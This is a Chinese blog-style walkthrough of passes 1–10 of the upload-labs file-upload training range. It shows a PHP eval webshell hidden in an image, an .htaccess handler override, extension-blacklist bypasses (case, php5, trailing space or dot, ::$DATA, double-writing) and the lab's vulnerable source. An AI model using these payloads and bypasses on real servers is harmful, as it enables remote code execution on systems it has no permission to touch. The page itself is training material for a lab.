最近我们已经完成了ssrf,xss,sql,xxe靶场的复习,那么今天我们就来学习uploads-labs靶场吧。
目录
一、靶场安装
本来是推荐安装docker即可,但是靶场有些题目需要在windwos环境下才能生效,比如说后缀末尾的空格在windows是会进行过滤的,但是在linux系统空格是一个有效字符,所以说在linux系统文件后缀有空格和没有空格是两种不同的文件,利用docker安装,靶场是在linux环境中的,所以说这里分享两种安装方式。
方式一
靶场安装的话这里我们推荐使用docker安装,简单,使用如下命令进行安装
bash
docker pull c0ny1/upload-labs
然后使用下面的命令进行运行
bash
docker run --name uploads -d -p 9600:80 c0ny1/upload-labs
方式二
先下载靶场源码文件c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场,然后下载小皮面板

在小皮面板安装php,版本5.x即可,然后开启中间件

创建网站

域名使用本机IP地址较好,端口随机,不用冲突就行。域名使用127.0.0.1的话bp可能无法抓包,然后将靶场源码放在小皮面板的文件目录下,默认是C:/phpstudy_pro/WWW,根目录选择靶场源码所放在的地址即可。浏览器进行IP+端口进行访问接口。
然后在浏览器进行访问

安装完成,那么开始我们的靶场之路吧
二、靶场通关(1)
1、pass-01

我们先上传一个正常的png图片,可以成功上传

然后右键在新标签页打开页面,可以发现其上传路径


那么接下来就是使用一句话木马构造图片马,如图所示
php
<?php eval($_POST['cmd']);?>

然后将后缀改为png即可

进行上传,并且开启抓包

修改后缀,将png改为php进行上传

可以看到上传成功,使用蚁剑进行连接

连接成功,第一关都是很简单的,抓包修改后缀就行。还有其它方法也可以绕过,因为这是前端验证,所以可以通过禁用本页面的javascript来进行绕过也是可以的。
2、pass-02

那么第二关,先试试上传图片马,修改后缀

可以看到上传成功,然后进行访问

使用蚁剑连接

连接成功,继续下一关。
提示:最好在完成每一关后都进行上传文件的删除

3、pass-03

还是上传图片马,进行修改后缀,但是这一关开始出现过滤了

可以看到在最后上传的时候出现了过滤,不允许上传,说明这是在服务器端进行的过滤,不是在客户端进行的过滤,第一关和第二关都是在客户端做的过滤,所以我们可以直接修改后缀即可,这里的话其实很好绕过,进行大小写或者使用php4,php5等来绕过。
我们先尝试使用大小写,都是失败了,应该被转换成小写了

还有的方法就是php还可以解析一些特殊格式,比如说php5,php7,pht等格式,那么我们这里使用php5来进行绕过

可以看到上传成功,进行访问

成功进行解析,可以看到代码还对此文件进行重命名,需要在上传界面才能够访问

成功访问,接下来分析源码。
php
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
// 检查上传目录(UPLOAD_PATH)是否存在
if (file_exists(UPLOAD_PATH)) {
// 定义禁止上传的文件后缀列表(常见脚本后缀)
$deny_ext = array('.asp','.aspx','.php','.jsp');
// 1. 处理上传文件名:去除文件名首尾的空格(防止空格绕过,如"shell.php ")
$file_name = trim($_FILES['upload_file']['name']);
// 2. 调用deldot函数删除文件名末尾的点(防止类似"shell.php."的文件名绕过,部分系统会忽略末尾的点)
$file_name = deldot($file_name);
// 3. 提取文件扩展名:取文件名中最后一个"."后面的部分
$file_ext = strrchr($file_name, '.');
// 4. 将扩展名转为小写(统一大小写,防止".PHP"等大写后缀绕过)
$file_ext = strtolower($file_ext);
// 5. 去除扩展名中的"::$DATA"(针对Windows系统NTFS流特性,避免"shell.php::$DATA"被解析为php文件)
$file_ext = str_ireplace('::$DATA', '', $file_ext);
// 6. 再次去除扩展名首尾的空格(确保处理干净,防止空格残留)
$file_ext = trim($file_ext);
// 检查处理后的扩展名是否不在禁止列表中(即允许上传)
if(!in_array($file_ext, $deny_ext)) {
// 获取上传文件的临时路径(服务器临时存储位置)
$temp_file = $_FILES['upload_file']['tmp_name'];
// 生成上传后的保存路径:上传目录 + 时间戳(年月日时分秒) + 4位随机数 + 扩展名
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
// 将临时文件移动到目标路径(完成上传)
if (move_uploaded_file($temp_file,$img_path)) {
// 上传成功,更新上传状态为true
$is_upload = true;
} else {
// 移动文件失败,提示"上传出错"
$msg = '上传出错!';
}
} else {
// 扩展名在禁止列表中,提示不允许上传的后缀
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
// 上传目录不存在,提示创建目录
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
4、pass-04

还是先上传图片马,看看有哪些过滤条件

直接改为php,直接提示此文件不可上传,并没有说哪些文件不可以上传,那么再尝试一下其它的,比如说大小写,php5,php.等绕过



都无法绕过,那么可以尝试使用.htaccess,上传此文件可以修改apache2的配置,让其将jpg文件当成php文件进行解析,先构建语句
bash
<FilesMatch ".*">
SetHandler application/x-httpd-php
</FilesMatch>
然后抓包进行上传

然后上传jpg文件,一句话构成的图片马也是可以的

可以看到解析成功,使用蚁剑连接

连接成功,接下来分析源码,源码分析如下
php
<?php
// 初始化上传状态为false
$is_upload = false;
// 初始化提示信息为null
$msg = null;
// 检查用户是否点击了上传按钮(表单是否通过POST提交了submit参数)
if (isset($_POST['submit'])) {
// 检查上传目录(UPLOAD_PATH常量定义的路径)是否存在
if (file_exists(UPLOAD_PATH)) {
// 定义禁止上传的文件后缀列表(覆盖了多种脚本语言及变种,包含大小写变种)
$deny_ext = array(
".php",".php5",".php4",".php3",".php2","php1", // PHP及历史版本后缀
".html",".htm",".phtml",".pht", // HTML及PHP嵌入格式
".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1", // PHP大小写变种
".Html",".Htm",".pHtml", // HTML大小写变种
".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml", // JSP及衍生格式
".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml", // JSP大小写变种
".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer", // ASP及衍生格式
".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr", // ASP大小写变种
".sWf",".swf" // Flash文件
);
// 1. 去除文件名首尾的空格
$file_name = trim($_FILES['upload_file']['name']);
// 2. 调用deldot函数删除文件名末尾的点
$file_name = deldot($file_name);
// 3. 提取文件扩展名:取文件名中最后一个"."后面的部分
$file_ext = strrchr($file_name, '.');
// 4. 将扩展名转为小写
$file_ext = strtolower($file_ext);
// 5. 去除扩展名中的"::$DATA"(针对Windows NTFS流特性,避免"shell.php::$DATA"被解析为PHP文件)
$file_ext = str_ireplace('::$DATA', '', $file_ext);
// 6. 再次去除扩展名首尾的空格
$file_ext = trim($file_ext);
// 检查处理后的扩展名是否不在禁止列表中(即允许上传)
if (!in_array($file_ext, $deny_ext)) {
// 获取上传文件的临时路径(服务器临时存储位置)
$temp_file = $_FILES['upload_file']['tmp_name'];
// 生成上传后的保存路径:上传目录 + 时间戳(年月日时分秒) + 4位随机数 + 扩展名(
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
// 将临时文件移动到目标路径(完成上传)
if (move_uploaded_file($temp_file, $img_path)) {
// 上传成功,更新上传状态为true
$is_upload = true;
} else {
// 移动文件失败,提示"上传出错"
$msg = '上传出错!';
}
} else {
// 扩展名在禁止列表中,提示不允许上传
$msg = '此文件不允许上传!';
}
} else {
// 上传目录不存在,提示创建目录
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
5、pass-05

照旧啊,进行测试过滤条件

同样的提示,也要进行一个个测试,最后测试使用大写可以绕过

那么进行拦截抓包,修改,进行访问

访问成功,使用蚁剑连接

进行源码分析
php
<?php
$is_upload = false;
$msg = null;
// 检查用户是否通过POST提交了上传请求(是否点击了submit按钮)
if (isset($_POST['submit'])) {
// 检查上传目录(UPLOAD_PATH常量指定的路径)是否存在
if (file_exists(UPLOAD_PATH)) {
// 定义禁止上传的文件后缀列表
$deny_ext = array(
".php",".php5",".php4",".php3",".php2", // PHP及历史版本后缀
".html",".htm",".phtml",".pht", // HTML及PHP嵌入格式
".pHp",".pHp5",".pHp4",".pHp3",".pHp2", // PHP大小写变种(如.pHp)
".Html",".Htm",".pHtml", // HTML大小写变种
".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml", // JSP及衍生格式
".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml", // JSP大小写变种
".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer", // ASP及衍生格式
".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr", // ASP大小写变种
".sWf",".swf", // Flash文件
".htaccess" // Apache配置文件
);
// 1. 去除文件名首尾的空格
$file_name = trim($_FILES['upload_file']['name']);
// 2. 调用deldot函数删除文件名末尾的点
$file_name = deldot($file_name);
// 3. 提取文件扩展名:取文件名中最后一个"."后面的部分
$file_ext = strrchr($file_name, '.');
// 4. 去除扩展名中的"::$DATA"(针对Windows NTFS流特性,避免"shell.php::$DATA"被解析为PHP文件)
$file_ext = str_ireplace('::$DATA', '', $file_ext);
// 5. 去除扩展名首尾的空格
$file_ext = trim($file_ext);
// 检查处理后的扩展名是否不在禁止列表中(即允许上传)
if (!in_array($file_ext, $deny_ext)) {
// 获取上传文件的临时路径(服务器临时存储位置)
$temp_file = $_FILES['upload_file']['tmp_name'];
// 生成上传后的保存路径:上传目录 + 时间戳(年月日时分秒) + 4位随机数 + 扩展名(避免文件名重复)
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
// 将临时文件移动到目标路径(完成上传)
if (move_uploaded_file($temp_file, $img_path)) {
// 上传成功,更新上传状态为true
$is_upload = true;
} else {
// 移动文件失败,提示"上传出错"
$msg = '上传出错!';
}
} else {
// 扩展名在禁止列表中,提示不允许上传
$msg = '此文件类型不允许上传!';
}
} else {
// 上传目录不存在,提示创建目录
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
这一关代码中缺少将扩展名转为小写的步骤 (对比上一关代码,删除了strtolower
),而$deny_ext
列表中的后缀均为小写或特定大小写(如.pHp)
6、pass-06

还是照旧进行

还是一样是黑名单,就要尝试哪些没有过滤了,最后测试可以在文件后缀加上空格进行绕过

通过拦截抓包

然后进行访问

没有成功,猜测是docker使用的linux系统,而linux系统不会去过滤空格,有没有空格是不同的文件,而windows会进行过滤空格,所以说这里没有解析成功,那么使用windows搭建的环境就可以成功解析。

使用windwos环境搭建的成功上传,使用蚁剑连接

源码分析如下
php
<?php
// 初始化上传状态为false(默认未上传成功)
$is_upload = false;
// 初始化提示信息为null(默认无提示)
$msg = null;
// 检查用户是否通过POST提交了上传请求(是否点击了submit按钮)
if (isset($_POST['submit'])) {
// 检查上传目录(UPLOAD_PATH常量指定的路径)是否存在
if (file_exists(UPLOAD_PATH)) {
// 定义禁止上传的文件后缀列表(覆盖多种脚本语言、变种及特殊文件)
$deny_ext = array(
".php",".php5",".php4",".php3",".php2", // PHP及历史版本后缀
".html",".htm",".phtml",".pht", // HTML及PHP嵌入格式
".pHp",".pHp5",".pHp4",".pHp3",".pHp2", // PHP大小写变种(如.pHp)
".Html",".Htm",".pHtml", // HTML大小写变种
".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml", // JSP及衍生格式
".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml", // JSP大小写变种
".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer", // ASP及衍生格式
".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr", // ASP大小写变种
".sWf",".swf", // Flash文件
".htaccess" // Apache配置文件(可能用于修改解析规则)
);
// 1. 获取原始上传文件名(未去除首尾空格)
$file_name = $_FILES['upload_file']['name'];
// 2. 调用deldot函数删除文件名末尾的点(防止"shell.php."这类文件名绕过,部分系统会忽略末尾的点)
$file_name = deldot($file_name);
// 3. 提取文件扩展名:取文件名中最后一个"."后面的部分(如"shell.php7"提取出".php7")
$file_ext = strrchr($file_name, '.');
// 4. 将扩展名转为小写(统一大小写,避免大小写变种绕过,如".PHP"转".php")
$file_ext = strtolower($file_ext);
// 5. 去除扩展名中的"::$DATA"(针对Windows NTFS流特性,避免"shell.php::$DATA"被解析为PHP文件)
$file_ext = str_ireplace('::$DATA', '', $file_ext);
// 检查处理后的扩展名是否不在禁止列表中(即允许上传)
if (!in_array($file_ext, $deny_ext)) {
// 获取上传文件的临时路径(服务器临时存储位置)
$temp_file = $_FILES['upload_file']['tmp_name'];
// 生成上传后的保存路径:上传目录 + 时间戳(年月日时分秒) + 4位随机数 + 扩展名(避免文件名重复)
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
// 将临时文件移动到目标路径(完成上传)
if (move_uploaded_file($temp_file,$img_path)) {
// 上传成功,更新上传状态为true
$is_upload = true;
} else {
// 移动文件失败,提示"上传出错"
$msg = '上传出错!';
}
} else {
// 扩展名在禁止列表中,提示不允许上传
$msg = '此文件不允许上传';
}
} else {
// 上传目录不存在,提示创建目录
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
代码中缺少对扩展名首尾空格的trim
处理 (对比之前版本,删除了trim($file_ext)
)。上传文件名为shell.php
(扩展名.php
后带一个空格),处理后$file_ext
为.php
(带空格);
7、pass-07

还是依旧,最后测试可以通过加点来进行绕过

进行访问,蚁剑连接


源码分析
php
<?php
// 初始化上传状态为false(默认未上传成功)
$is_upload = false;
// 初始化提示信息为null(默认无提示)
$msg = null;
// 检查用户是否通过POST提交了上传请求(是否点击了submit按钮)
if (isset($_POST['submit'])) {
// 检查上传目录(UPLOAD_PATH常量指定的路径)是否存在
if (file_exists(UPLOAD_PATH)) {
// 定义禁止上传的文件后缀列表(覆盖多种脚本语言、变种及特殊文件)
$deny_ext = array(
".php",".php5",".php4",".php3",".php2", // PHP及历史版本后缀
".html",".htm",".phtml",".pht", // HTML及PHP嵌入格式
".pHp",".pHp5",".pHp4",".pHp3",".pHp2", // PHP大小写变种
".Html",".Htm",".pHtml", // HTML大小写变种
".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml", // JSP及衍生格式
".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml", // JSP大小写变种
".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer", // ASP及衍生格式
".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr", // ASP大小写变种
".sWf",".swf", // Flash文件
".htaccess" // Apache配置文件
);
// 1. 去除原始文件名首尾的空格(防止" shell.php "这类带首尾空格的文件名绕过)
$file_name = trim($_FILES['upload_file']['name']);
// 2. 提取文件扩展名:取文件名中最后一个"."后面的部分(如"shell.php7"提取出".php7")
$file_ext = strrchr($file_name, '.');
// 3. 将扩展名转为小写(统一大小写,避免大小写变种绕过,如".PHP"转".php")
$file_ext = strtolower($file_ext);
// 4. 去除扩展名中的"::$DATA"(针对Windows NTFS流特性,避免"shell.php::$DATA"被解析为PHP)
$file_ext = str_ireplace('::$DATA', '', $file_ext);
// 5. 去除扩展名首尾的空格(确保处理干净,防止空格残留导致绕过)
$file_ext = trim($file_ext);
// 检查处理后的扩展名是否不在禁止列表中(即允许上传)
if (!in_array($file_ext, $deny_ext)) {
// 获取上传文件的临时路径(服务器临时存储位置)
$temp_file = $_FILES['upload_file']['tmp_name'];
// 生成上传后的保存路径:上传目录 + 原始文件名(trim处理后,未修改文件名)
$img_path = UPLOAD_PATH.'/'.$file_name;
// 将临时文件移动到目标路径(完成上传)
if (move_uploaded_file($temp_file, $img_path)) {
// 上传成功,更新上传状态为true
$is_upload = true;
} else {
// 移动文件失败,提示"上传出错"
$msg = '上传出错!';
}
} else {
// 扩展名在禁止列表中,提示不允许上传
$msg = '此文件类型不允许上传!';
}
} else {
// 上传目录不存在,提示创建目录
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
8、pass-08

依旧进行测试,发现可以使用**::$DATA进行绕过,
** 在 Windows 系统中,::$DATA
是 NTFS 文件流标记,系统会忽略该标记后的内容。所以我们使用这个进行绕过即可。

然后进行访问,将后缀删除即可


进行蚁剑连接

源码分析
php
<?php
// 初始化上传状态为false(默认未上传成功)
$is_upload = false;
// 初始化提示信息为null(默认无提示)
$msg = null;
// 检查用户是否通过POST提交了上传请求(是否点击了submit按钮)
if (isset($_POST['submit'])) {
// 检查上传目录(UPLOAD_PATH常量指定的路径)是否存在
if (file_exists(UPLOAD_PATH)) {
// 定义禁止上传的文件后缀列表(覆盖多种脚本语言、变种及特殊文件)
$deny_ext = array(
".php",".php5",".php4",".php3",".php2", // PHP及历史版本后缀
".html",".htm",".phtml",".pht", // HTML及PHP嵌入格式
".pHp",".pHp5",".pHp4",".pHp3",".pHp2", // PHP大小写变种
".Html",".Htm",".pHtml", // HTML大小写变种
".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml", // JSP及衍生格式
".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml", // JSP大小写变种
".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer", // ASP及衍生格式
".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr", // ASP大小写变种
".sWf",".swf", // Flash文件
".htaccess" // Apache配置文件
);
// 1. 去除原始文件名首尾的空格(防止" shell.php "这类带首尾空格的文件名绕过)
$file_name = trim($_FILES['upload_file']['name']);
// 2. 调用deldot函数删除文件名末尾的点(防止"shell.php."这类文件名绕过,避免系统忽略末尾的点)
$file_name = deldot($file_name);
// 3. 提取文件扩展名:取文件名中最后一个"."后面的部分(如"shell.php7"提取出".php7")
$file_ext = strrchr($file_name, '.');
// 4. 将扩展名转为小写(统一大小写,避免大小写变种绕过,如".PHP"转".php")
$file_ext = strtolower($file_ext);
// 5. 去除扩展名首尾的空格(确保处理干净,防止空格残留导致绕过)
$file_ext = trim($file_ext);
// 检查处理后的扩展名是否不在禁止列表中(即允许上传)
if (!in_array($file_ext, $deny_ext)) {
// 获取上传文件的临时路径(服务器临时存储位置)
$temp_file = $_FILES['upload_file']['tmp_name'];
// 生成上传后的保存路径:上传目录 + 时间戳(年月日时分秒) + 4位随机数 + 扩展名(避免文件名重复)
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
// 将临时文件移动到目标路径(完成上传)
if (move_uploaded_file($temp_file, $img_path)) {
// 上传成功,更新上传状态为true
$is_upload = true;
} else {
// 移动文件失败,提示"上传出错"
$msg = '上传出错!';
}
} else {
// 扩展名在禁止列表中,提示不允许上传
$msg = '此文件类型不允许上传!';
}
} else {
// 上传目录不存在,提示创建目录
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
可以看到此题没有过滤::$DATA
9、pass-09

经过一系列的测试,未发现有效方法进行绕过,那么查看一下源码
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
可以看到黑名单很多啊,从代码我们可以看到其对文件的处理过程,这样我们就可以进行操作,比如说使用php. .(就是点加空格加点)来进行操作,接下来讲讲它的原理
-
trim
处理(去除首尾空格) 原始文件名shell.php. .
(末尾有一个空格),trim
仅去除首尾空格,中间的点和空格保留,处理后为:shell.php. .
(末尾仍有点和空格,因空格在中间而非首尾)。 -
deldot
处理(删除文件名末尾的点)deldot
函数的作用是循环删除文件名末尾的点 (直到最后一个字符不是点)。但此时文件名末尾是点,因此deldot
会删除一个点,处理后为:shell.php.
。 -
提取扩展名(
strrchr
)strrchr($file_name, '.')
会截取最后一个.
后面的部分。在shell.php.
中,最后一个.
后面是空格
,因此提取的扩展名为:.
(点 + 空格)。 -
strtolower
处理, 不影响结果,扩展名仍为:.
。 -
去除
::$DATA
(str_ireplace
) 无::$DATA
字符串,扩展名仍为:.
。 -
trim
处理扩展名(去除首尾空格) 对.
(点 + 空格)执行trim
,会去除首尾的空格,最终扩展名变为:.
(只剩下一个点)。
最终剩下的点windows系统会进行过滤,从而绕过了。操作如下

成功上传

蚁剑连接

10、pass-10

经过一系列测试,发现可以进行双写绕过,到了第十关才出现双写绕过,双写绕过的本质是将危险字符置换为空,比如说要过滤php,就会将php置换为空,而双写绕过就是通过pphphp将中间的php置换为空,然后就剩下php,从而实现绕过



连接蚁剑

源码分析
php
<?php
$is_upload = false;
$msg = null;
// 检查用户是否通过POST提交了上传请求
if (isset($_POST['submit'])) {
// 检查上传目录(UPLOAD_PATH常量指定的路径)是否存在
if (file_exists(UPLOAD_PATH)) {
// 定义禁止的字符串列表(没有带点,是纯后缀名,如"php"而非".php")
$deny_ext = array(
"php","php5","php4","php3","php2", // PHP及历史版本相关字符串
"html","htm","phtml","pht", // HTML及相关字符串
"jsp","jspa","jspx","jsw","jsv","jspf","jtml", // JSP及相关字符串
"asp","aspx","asa","asax","ascx","ashx","asmx","cer", // ASP及相关字符串
"swf", // Flash相关字符串
"htaccess" // Apache配置文件相关字符串
);
// 1. 去除原始文件名首尾的空格(仅处理首尾,中间空格保留)
$file_name = trim($_FILES['upload_file']['name']);
// 2. 将文件名中所有包含$deny_ext列表的字符串替换为空(例如"php"会被删掉)
$file_name = str_ireplace($deny_ext,"", $file_name);
// 3. 获取上传文件的临时路径
$temp_file = $_FILES['upload_file']['tmp_name'];
// 4. 生成保存路径:上传目录 + 处理后的文件名(未随机化,保留处理后的原文件名)
$img_path = UPLOAD_PATH.'/'.$file_name;
// 5. 移动临时文件到目标路径,完成上传
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
剩下的十关明天更新。